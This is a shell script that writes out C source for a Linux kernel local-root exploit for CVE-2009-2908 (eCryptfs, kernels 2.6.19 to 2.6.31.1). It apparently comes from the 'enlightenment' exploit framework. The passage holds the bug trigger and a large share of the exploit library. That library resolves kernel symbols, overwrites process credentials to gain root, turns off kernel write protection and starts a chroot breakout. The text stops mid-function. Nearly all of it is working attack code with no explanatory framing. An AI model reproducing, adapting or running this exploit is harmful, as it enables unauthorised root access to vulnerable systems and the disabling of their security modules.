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CVE-2009-2908.sh
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CVE-2009-2908.sh
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#!/bin/sh
# CVE-2009-2908 - Linux 2.6.19 -> 2.6.31.1 eCryptfs local root
cat > exp_paokara.c <<_EOF
/* CVE-2009-2908
Integrated into enlightenment upon Fotis Loukos' request
Also ported to x64
Original x86 exploit was written by Fotis Loukos:
http://fotis.loukos.me/security/exploits/paokara.c
*/
/* defines for prepare_the_exploit */
/* for null fptr derefs */
#define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337
/* for overflows */
#define EXIT_KERNEL_TO_NULL 0x31336
#define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this
/* defines for post_exploit */
#define RUN_ROOTSHELL 0x5150
#define CHMOD_SHELL 0x5151
#define FUNNY_PIC_AND_ROOTSHELL 0xdeadc01d
typedef unsigned long (*_get_kernel_sym)(char *name);
typedef unsigned long __attribute__((regparm(3))) (*_kallsyms_lookup_name)(char *name);
struct exploit_state {
_get_kernel_sym get_kernel_sym;
_kallsyms_lookup_name kallsyms_lookup_name;
void *own_the_kernel;
void *exit_kernel;
char *exit_stack;
int run_from_main;
int got_ring0;
int got_root;
};
#define EFL_RESERVED1 (1 << 1)
#define EFL_PARITY (1 << 2)
#define EFL_ZEROFLAG (1 << 6)
#define EFL_INTERRUPTENABLE (1 << 9)
#define EFL_IOPL3 ((1 << 12) | (1 << 13))
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
/* for insta-iopl 3, for whatever reason!
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
*/
#define DISABLED_LSM 0x1
#define DISABLED_IMA 0x2
#define DISABLED_APPARMOR 0x4
#define DISABLED_SELINUX 0x8
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define __USE_GNU
#include <fcntl.h>
#include <sys/types.h>
struct exploit_state *exp_state;
struct myinodeops {
void *dontcare[17];
void *getxattr;
};
char *desc = "Paokara: Linux 2.6.19->2.6.31.1 eCryptfs local root";
int prepare(unsigned char *buf)
{
/* this gets placed at 0x1 because we overwrite the i_op with 0x1
in our loop that sets the mutex count properly
*/
struct myinodeops *ops = (struct myinodeops *)(buf + 1);
unsigned long *lbuf = (unsigned long *)buf;
int i;
/* make sure mutex count is 1, handle any configuration
*/
for (i = 0; i < 200; i++)
lbuf[i] = 1;
ops->getxattr = exp_state->own_the_kernel;
return 0;
}
int requires_null_page = 1;
int get_exploit_state_ptr(struct exploit_state *ptr)
{
exp_state = ptr;
return 0;
}
int trigger(void)
{
char buf1[4096];
char buf2[4096];
int fd;
char *path = getenv("XPL_PATH");
if (path == NULL) {
fprintf(stdout, " [+] XPL_PATH environment variable not set. Defaulting to current directory.\n");
path = ".";
}
snprintf(buf1, sizeof(buf1), "%s/lala", path);
snprintf(buf2, sizeof(buf2), "%s/koko", path);
if (open(buf1, O_RDWR | O_CREAT | O_EXCL | O_NOFOLLOW, 0600) < 0) {
fprintf(stdout, "Failed to create %s\n", buf1);
return 0;
}
link(buf1, buf2);
unlink(buf1);
if ((fd = open(buf2, O_RDWR | O_CREAT | O_NOFOLLOW, 0600)) < 0) {
fprintf(stdout, "Failed to create %s\n", buf2);
return 0;
}
unlink(buf2);
write(fd, "kot!", 4);
return 1;
}
int post(void)
{
return RUN_ROOTSHELL;
}
_EOF
cat > exploit.c <<_EOF
/* exploit lib */
#include <asm/unistd.h>
#include <signal.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/utsname.h>
#include <sys/personality.h>
#include <time.h>
#include <unistd.h>
#include <fnmatch.h>
#include <dirent.h>
#include <dlfcn.h>
#include <grp.h>
#ifdef HAVE_SELINUX
#include <selinux/selinux.h>
#include <selinux/context.h>
#endif
#ifndef PATH_MAX
#define PATH_MAX 4095
#endif
/* defines for prepare_the_exploit */
/* for null fptr derefs */
#define STRAIGHT_UP_EXECUTION_AT_NULL 0x31337
/* for overflows */
#define EXIT_KERNEL_TO_NULL 0x31336
#define EXECUTE_AT_NONZERO_OFFSET 0xfffff000 // OR the offset with this
/* defines for post_exploit */
#define RUN_ROOTSHELL 0x5150
#define CHMOD_SHELL 0x5151
#define FUNNY_PIC_AND_ROOTSHELL 0xdeadc01d
typedef unsigned long (*_get_kernel_sym)(char *name);
typedef unsigned long __attribute__((regparm(3))) (*_kallsyms_lookup_name)(char *name);
struct exploit_state {
_get_kernel_sym get_kernel_sym;
_kallsyms_lookup_name kallsyms_lookup_name;
void *own_the_kernel;
void *exit_kernel;
char *exit_stack;
int run_from_main;
int got_ring0;
int got_root;
};
#define EFL_RESERVED1 (1 << 1)
#define EFL_PARITY (1 << 2)
#define EFL_ZEROFLAG (1 << 6)
#define EFL_INTERRUPTENABLE (1 << 9)
#define EFL_IOPL3 ((1 << 12) | (1 << 13))
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE)
/* for insta-iopl 3, for whatever reason!
#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3)
*/
#define DISABLED_LSM 0x1
#define DISABLED_IMA 0x2
#define DISABLED_APPARMOR 0x4
#define DISABLED_SELINUX 0x8
typedef int (*_prepare_for_exploit)(unsigned char *buf);
typedef int (*_trigger_the_bug)(void);
typedef int (*_post_exploit)(void);
typedef int (*_ring0_cleanup)(void);
typedef int (*_get_exploit_state_ptr)(struct exploit_state *exp_state);
#define MAX_EXPLOITS 32
struct exploit_module {
char desc[512];
_get_exploit_state_ptr get_exploit_state_ptr;
_prepare_for_exploit prep;
_trigger_the_bug trigger;
_post_exploit post;
_ring0_cleanup ring0_cleanup;
int requires_null_page;
int requires_symbols_to_trigger;
} modules[MAX_EXPLOITS];
int num_exploits = 0;
int check_entry(const struct dirent *dir)
{
if (!fnmatch("exp_*.so", dir->d_name, 0))
return 1;
return 0;
}
void add_exploit_modules(void)
{
struct dirent **namelist;
void *mod;
void *desc, *prepare, *trigger, *post, *get_exp_state_ptr, *requires_null_page, *ring0_cleanup, *requires_symbols_to_trigger;
char tmpname[PATH_MAX];
int n;
int i;
n = scandir(".", &namelist, &check_entry, alphasort);
if (n < 0) {
fprintf(stdout, "No exploit modules found, exiting...\n");
exit(1);
}
for (i = 0; i < n; i++) {
snprintf(tmpname, sizeof(tmpname)-1, "./%s", namelist[i]->d_name);
tmpname[sizeof(tmpname)-1] = '\0';
mod = dlopen(tmpname, RTLD_NOW);
if (mod == NULL) {
unable_to_load:
fprintf(stdout, "Unable to load %s\n", namelist[i]->d_name);
free(namelist[i]);
continue;
}
desc = dlsym(mod, "desc");
prepare = dlsym(mod, "prepare");
ring0_cleanup = dlsym(mod, "ring0_cleanup");
trigger = dlsym(mod, "trigger");
post = dlsym(mod, "post");
requires_null_page = dlsym(mod, "requires_null_page");
requires_symbols_to_trigger = dlsym(mod, "requires_symbols_to_trigger");
get_exp_state_ptr = dlsym(mod, "get_exploit_state_ptr");
if (desc == NULL || prepare == NULL || trigger == NULL || post == NULL || get_exp_state_ptr == NULL || requires_null_page == NULL)
goto unable_to_load;
#ifdef NON_NULL_ONLY
if (*(int *)requires_null_page) {
free(namelist[i]);
continue;
}
#else
if (!*(int *)requires_null_page) {
free(namelist[i]);
continue;
}
#endif
if (num_exploits >= MAX_EXPLOITS) {
fprintf(stdout, "Max exploits reached.\n");
return;
}
strncpy(modules[num_exploits].desc, *(char **)desc, sizeof(modules[num_exploits].desc) - 1);
modules[num_exploits].desc[sizeof(modules[num_exploits].desc)-1] = '\0';
modules[num_exploits].prep = (_prepare_for_exploit)prepare;
modules[num_exploits].trigger = (_trigger_the_bug)trigger;
modules[num_exploits].post = (_post_exploit)post;
modules[num_exploits].ring0_cleanup = (_ring0_cleanup)ring0_cleanup;
modules[num_exploits].get_exploit_state_ptr = (_get_exploit_state_ptr)get_exp_state_ptr;
modules[num_exploits].requires_null_page = *(int *)requires_null_page;
modules[num_exploits].requires_symbols_to_trigger = requires_symbols_to_trigger ? *(int *)requires_symbols_to_trigger : 0;
free(namelist[i]);
num_exploits++;
}
return;
}
struct exploit_state exp_state;
int eightk_stack = 0;
int twofourstyle = 0;
int raised_caps = 0;
unsigned long current_addr = 0;
int cred_support = 0;
int cred_offset = 0;
int fs_offset = 0;
int aio_read_offset = 0;
int has_vserver = 0;
int vserver_offset = 0;
unsigned long init_cred_addr = 0;
unsigned long default_exec_domain = 0;
#define TASK_RUNNING 0
#ifdef __x86_64__
#define KERNEL_BASE 0xffffffff81000000UL
#define KSTACK_MIN 0xffff800000000000UL
#define KSTACK_MAX 0xfffffffff0000000UL
#else
#define KERNEL_BASE 0xc0000000UL
#define KSTACK_MIN 0xc0000000UL
#define KSTACK_MAX 0xfffff000UL
#endif
char *exit_stack;
static inline unsigned long get_current_4k(void)
{
unsigned long current = 0;
unsigned long exec_domain = 0;
current = (unsigned long)¤t;
exec_domain = *(unsigned long *)((current & ~(0x1000 - 1)) + sizeof(unsigned long));
current = *(unsigned long *)(current & ~(0x1000 - 1));
if (current < KSTACK_MIN || current > KSTACK_MAX)
return 0;
if (exec_domain < KSTACK_MIN || exec_domain > KSTACK_MAX)
return 0;
if (default_exec_domain && exec_domain != default_exec_domain)
return 0;
if (*(long *)current != TASK_RUNNING)
return 0;
return current;
}
static inline unsigned long get_current_8k(void)
{
unsigned long current = 0;
unsigned long exec_domain = 0;
unsigned long oldstyle = 0;
eightk_stack = 1;
current = (unsigned long)¤t;
oldstyle = current & ~(0x2000 - 1);
current = *(unsigned long *)(oldstyle);
exec_domain = *(unsigned long *)(oldstyle + sizeof(unsigned long));
twofourstyle = 1;
if (current < KSTACK_MIN || current > KSTACK_MAX)
return oldstyle;
if (exec_domain < KSTACK_MIN || exec_domain > KSTACK_MAX)
return oldstyle;
if (default_exec_domain && exec_domain != default_exec_domain)
return oldstyle;
if (*(long *)current != TASK_RUNNING)
return oldstyle;
twofourstyle = 0;
return current;
}
static int requires_symbols_to_trigger;
static int kallsyms_is_hidden;
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
if (kallsyms_is_hidden)
goto fallback;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname) && addr) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
} else if (!strcmp(name, sname)) {
kallsyms_is_hidden = 1;
}
}
fclose(f);
if (rep == 2)
return 0;
else if (rep == 1)
goto fallback2;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
goto fallback2;
rep = 1;
goto repeat;
fallback2:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3))
oldstyle = 1;
sprintf(sname, "./System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL) {
sprintf(sname, "./System.map");
f = fopen(sname, "r");
if (f == NULL) {
if (requires_symbols_to_trigger) {
printf("Unable to acquire kernel symbols. Copy the appropriate System.map to the current directory.\n");
exit(1);
} else
return 0;
}
}
rep = 2;
goto repeat;
}
/* for switching from interrupt to process context */
unsigned long *ptmx_fops;
/* check for xen support */
unsigned long *xen_start_info;
int xen_detected;
int can_change_ptes;
/* check if DEBUG_RODATA only protects .rodata */
unsigned long mark_rodata_ro;
unsigned long set_kernel_text_ro;
int *audit_enabled;
int *ima_audit;
int *selinux_enforcing;
int *selinux_enabled;
int *sel_enforce_ptr;
int *apparmor_enabled;
int *apparmor_logsyscall;
int *apparmor_audit;
int *apparmor_complain;
unsigned long *init_task;
unsigned long init_fs;
unsigned long *bad_file_ops;
unsigned long bad_file_aio_read;
unsigned long vc_sock_stat;
unsigned char *ima_bprm_check;
unsigned char *ima_file_mmap;
unsigned char *ima_path_check;
/* whoa look at us, 2.6.33 support before it's even released */
unsigned char *ima_file_check;
unsigned long *security_ops;
unsigned long default_security_ops;
unsigned long sel_read_enforce;
int what_we_do;
unsigned int our_uid;
typedef void __attribute__((regparm(3))) (* _set_fs_root)(unsigned long fs, unsigned long path);
typedef void __attribute__((regparm(3))) (* _set_fs_pwd)(unsigned long fs, unsigned long path);
typedef bool __attribute__((regparm(3))) (* _virt_addr_valid)(unsigned long addr);
typedef void __attribute__((regparm(3))) (* _prepare_ve0_process)(unsigned long tsk);
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
typedef void __attribute__((regparm(3))) (* _make_lowmem_page_readonly)(unsigned long addr);
typedef void __attribute__((regparm(3))) (* _make_lowmem_page_readwrite)(unsigned long addr);
_make_lowmem_page_readonly make_lowmem_page_readonly;
_make_lowmem_page_readwrite make_lowmem_page_readwrite;
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
_prepare_ve0_process prepare_ve0_process;
_set_fs_root set_fs_root;
_set_fs_pwd set_fs_pwd;
_virt_addr_valid virt_addr_valid;
struct cred {
int usage; // must be >= 4
int uid; // 0
int gid; // 0
int suid; // 0
int sgid; // 0
int euid; // 0
int egid; // 0
int fsuid; // 0
int fsgid; // 0
int securebits; // SECUREBITS_DEFAULT 0x00000000
unsigned int cap_inheritable[2]; // CAP_INIT_INH_SET {0, 0}
unsigned int cap_permitted[2]; // CAP_FULL_SET { ~0, ~0 }
unsigned int cap_effective[2]; // CAP_INIT_EFF_SET { ~(1 << 8), ~0 }
unsigned int cap_bset[2]; // CAP_INIT_BSET -> CAP_FULL_SET || CAP_INIT_EFF_SET
};
static inline unsigned long *pg_to_ptr(unsigned long addr)
{
return (unsigned long *)(0xffff880000000000UL + (addr & 0x000ffffffffff000UL));
}
static inline unsigned long pte_to_kaddr(unsigned long pte)
{
return 0xffffffff80000000UL + (pte & 0x000ffffffffff000UL);
}
#define NUM_RANGES 32
static unsigned long valid_ranges[NUM_RANGES][2];
/* elito #2 */
static inline void find_kernel_ranges(void)
{
unsigned long i, z, t;
unsigned long _cr3;
unsigned long *kernelpg;
unsigned long *kernelpte;
int rangeidx = 0;
int x = -1;
if (valid_ranges[0][0])
return;
asm volatile (
"mov %%cr3, %0"
: "=r" (_cr3)
);
kernelpg = pg_to_ptr(pg_to_ptr(pg_to_ptr(_cr3)[511])[510]);
for (i = 0; i < 511; i++) {
if ((kernelpg[i] & 1) && x < 0) {
x = i;
}
if (!(kernelpg[i+1] & 1) && x >= 0) {
break;
}
}
for (z = x; z <= i; z++) {
// large page
if ((kernelpg[z] & (1 << 7)) && !valid_ranges[rangeidx][0])
valid_ranges[rangeidx][0] = pte_to_kaddr(kernelpg[z]);
else if (!(kernelpg[z] & (1 << 7))) {
// check 4K pages
kernelpte = pg_to_ptr(kernelpg[z]);
for (t = 0; t < 511; t++) {
if ((kernelpte[t] & 0x1) && !valid_ranges[rangeidx][0])
valid_ranges[rangeidx][0] = pte_to_kaddr(kernelpte[t]);
else if (!(kernelpte[t] & 0x1) && !valid_ranges[rangeidx][1]) {
valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpg[z]);
rangeidx++;
}
else if (!(kernelpte[t+1] & 0x1) && !valid_ranges[rangeidx][1]) {
valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpte[t]) + 0x1000;
rangeidx++;
}
}
}
}
if (valid_ranges[rangeidx][0] && !valid_ranges[rangeidx][1]) {
valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpg[i]) + 0x200000;
}
}
static inline unsigned long find_init_cred(void)
{
unsigned long len;
struct cred *tmp;
int i, x;
find_kernel_ranges();
if (!valid_ranges[0][0] || !valid_ranges[0][1])
return 0;
for (x = 0; valid_ranges[x][0]; x++) {
for (i = 0; i < valid_ranges[x][1] - valid_ranges[x][0] - sizeof(struct cred); i++) {
tmp = (struct cred *)valid_ranges[x][0];
if (tmp->usage >= 4 && tmp->uid == 0 && tmp->gid == 0 &&
tmp->suid == 0 && tmp->sgid == 0 && tmp->euid == 0 &&
tmp->egid == 0 && tmp->fsuid == 0 && tmp->fsgid == 0 &&
tmp->securebits == 0 && tmp->cap_inheritable[0] == 0 &&
tmp->cap_inheritable[1] == 0 && tmp->cap_permitted[0] == ~0 &&
tmp->cap_permitted[1] == ~0 &&
(tmp->cap_effective[0] == ~(1 << 8) || tmp->cap_effective[0] == ~0) &&
tmp->cap_effective[1] == ~0 &&
(tmp->cap_bset[0] == ~0 || tmp->cap_bset[0] == ~(1 << 8)) &&
tmp->cap_bset[1] == ~0)
return (unsigned long)tmp;
}
}
return 0UL;
}
static void bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club(unsigned long orig_current)
{
/* cause it's a trillion dollar industry */
unsigned char *current = (unsigned char *)orig_current;
struct cred *init_cred_addr, **cred, **real_cred;
int i;
init_cred_addr = (struct cred *)find_init_cred();
if (!init_cred_addr)
return;
/* ok, we couldn't find our UIDs in the task struct
and we don't have the symbols for the creds
framework, discover it in a stupidly easy way:
in task_struct:
...stuff...
const struct cred *real_cred;
const struct cred *cred;
struct mutex cred_exec_mutex;
char comm[16];
...stuff...
if we were executed from main, then our name is
"exploit", otherwise it's "pulseaudio"
then we find init_cred through heuristics
increment its refcnt appropriately
and set up our credentials
*/
for (i = 0; i < 0x1000 - 16; i++) {
if ((exp_state.run_from_main == 1 && !memcmp(¤t[i], "exploit", strlen("exploit") + 1)) ||
(exp_state.run_from_main == 0 && !memcmp(¤t[i], "pulseaudio", strlen("pulseaudio") + 1))) {
/* now work backwards till we find the two cred pointers
*/
for (i-=sizeof(unsigned long); i > sizeof(unsigned long); i-=sizeof(unsigned long)) {
if (*((unsigned long *)¤t[i]) != *((unsigned long *)¤t[i-sizeof(unsigned long)]))
continue;
// unlocked
cred_offset = i - sizeof(char *);
real_cred = (struct cred **)¤t[i-sizeof(char *)];
cred = (struct cred **)¤t[i];
/* found init_cred, so now point our
cred struct to it, and increment usage!
*/
*real_cred = *cred = init_cred_addr;
init_cred_addr->usage+=2;
exp_state.got_root = 1;
return;
}
return;
}
}
return;
}
static void give_it_to_me_any_way_you_can(void)
{
unsigned long orig_current;
orig_current = get_current_4k();
if (orig_current == 0)
orig_current = get_current_8k();
current_addr = orig_current;
if (commit_creds && prepare_kernel_cred) {
commit_creds(prepare_kernel_cred(0));
exp_state.got_root = 1;
} else {
unsigned int *current;
current = (unsigned int *)orig_current;
while (((unsigned long)current < (orig_current + 0x1000 - 17 )) &&
(current[0] != our_uid || current[1] != our_uid ||
current[2] != our_uid || current[3] != our_uid))
current++;
if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {
bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club(orig_current);
cred_support = 1;
return;
}
exp_state.got_root = 1;
/* clear the UIDs and GIDs */
memset(current, 0, sizeof(unsigned int) * 8);
/* now let's try to elevate our capabilities as well (pre-creds structure)
2.4 has next: int ngroups; gid_t groups[NGROUPS]; then caps
2.6 has next: struct group_info *group_info; then caps
we could actually capget, but lets assume all three are 0
in both cases, the capabilities occur before:
unsigned keep_capabilities:1;
struct user_struct *user;
so we'll be fine with clobbering all 0s in between
*/
{
int i;
int zeroed;
current += 8; // skip uids/gids
/* skip over any next pointer */
current += (sizeof(unsigned long) == sizeof(unsigned int)) ? 1 : 2;
for (i = 0; i < 40; i++) {
if (!current[i]) {
zeroed = 1;
current[i] = 0xffffffff;
raised_caps = 1;
/* once we zero a block, stop when we
find something non-zero
*/
} else if (zeroed)
break;
}
}
}
return;
}
unsigned long inline get_cr0(void)
{
unsigned long _cr0;
asm volatile (
"mov %%cr0, %0"
: "=r" (_cr0)
);
return _cr0;
}
void inline set_cr0(unsigned long _cr0)
{
asm volatile (
"mov %0, %%cr0"
:
: "r" (_cr0)
);
}
int inline turn_off_wp(void)
{
unsigned long _cr0;
/* if xen is enabled and we can change ptes then we'll do that */
if (can_change_ptes)
return 1;
/* don't do it if xen is enabled and we can't just
write to kernel .text */
if (xen_detected && mark_rodata_ro && set_kernel_text_ro)
return 0;
/* if it's just xen, don't use cr0 or we'll GPF */
if (xen_detected)
return 1;
_cr0 = get_cr0();
_cr0 &= ~0x10000;
set_cr0(_cr0);
return 1;
}
void inline turn_on_wp(void)
{
unsigned long _cr0;
/* if it's just xen, don't use cr0 or we'll GPF */
if (xen_detected)
return;
_cr0 = get_cr0();
_cr0 |= 0x10000;
set_cr0(_cr0);
}
unsigned long trigger_retaddr;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_gs;
static void get_segment_descriptors(void)
{
#ifdef __x86_64__
asm volatile (
"movq %%cs, %0 ;"
"movq %%ss, %1 ;"
: "=r" (user_cs), "=r" (user_ss)
:
: "memory"
);
#else
asm volatile (
"push %%cs ;"
"pop %0 ;"
"push %%ss ;"
"pop %1 ;"
"push %%gs ;"
"pop %2 ;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_gs)
:
: "memory"
);
#endif
}
/* greets to qaaz */
static void exit_kernel(void)
{
#ifdef __x86_64__
asm volatile (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "r" (user_ss), "r" (exit_stack + (1024 * 1024) - 0x80), "i" (USER_EFLAGS),
"r" (user_cs), "r" (trigger_retaddr)
);
#else
asm volatile (
"pushl %0 ;"
"pop %%gs ;"
"movl %1, 0x10(%%esp) ;"
"movl %2, 0x0c(%%esp) ;"
"movl %3, 0x08(%%esp) ;"
"movl %4, 0x04(%%esp) ;"
"movl %5, 0x00(%%esp) ;"
"iret"
: : "r" (user_gs), "r" (user_ss), "r" (exit_stack + (1024 * 1024) - 0x80), "i" (USER_EFLAGS),
"r" (user_cs), "r" (trigger_retaddr)
);
#endif
}
static _trigger_the_bug trigger;
static int main_ret;
void trigger_get_return(void)
{
trigger_retaddr = (unsigned long)__builtin_return_address(0);
main_ret = trigger();
if (!main_ret)
exit(0);
return;
}
static void make_range_readwrite(unsigned long start, unsigned long len)
{
unsigned long end;
if (!can_change_ptes)
return;
end = start + len;
make_lowmem_page_readwrite(start);
// check if the entire range fits in one page
if ((start >> 12) != (end >> 12))
make_lowmem_page_readwrite(end);
return;
}
static void make_range_readonly(unsigned long start, unsigned long len)
{
unsigned long end;
if (!can_change_ptes)
return;
end = start + len;
make_lowmem_page_readonly(start);
// check if the entire range fits in one page
if ((start >> 12) != (end >> 12))
make_lowmem_page_readonly(end);
return;
}
static _ring0_cleanup ring0_cleanup;
static unsigned long get_kallsyms_lookup_name(void);
static int return_to_process_context;
static inline int are_interrupts_disabled(void)
{
unsigned long flags;
#ifdef __x86_64
asm volatile(
"pushfq\n"
"mov (%%rsp), %0\n"
"popfq\n"
: "=r" (flags)
);
#else
asm volatile(
"pushf\n"
"mov (%%esp), %0\n"
"popf\n"
: "=r" (flags)
);
#endif
return !(flags & (1 << 9));
}
static inline void chroot_breakout(void)
{
int x, z;
unsigned long *fsptr;
unsigned long *initfsptr;
if (!init_task || !init_fs || !set_fs_root || !set_fs_pwd || !current_addr || !virt_addr_valid)
return;
initfsptr = (unsigned long *)init_fs;
for (x = 0; x < 0x1000/sizeof(unsigned long); x++) {
if (init_task[x] != init_fs)
continue;
fs_offset = x * sizeof(unsigned long);
fsptr = (unsigned long *)*(unsigned long *)(current_addr + fs_offset);
if (fsptr == NULL)
continue;
// we replace root and pwd too, so adjust reference counters
// accordingly
for (z = 0; z < 6; z++) {
/* lemony snicket's a series of unfortunate ints */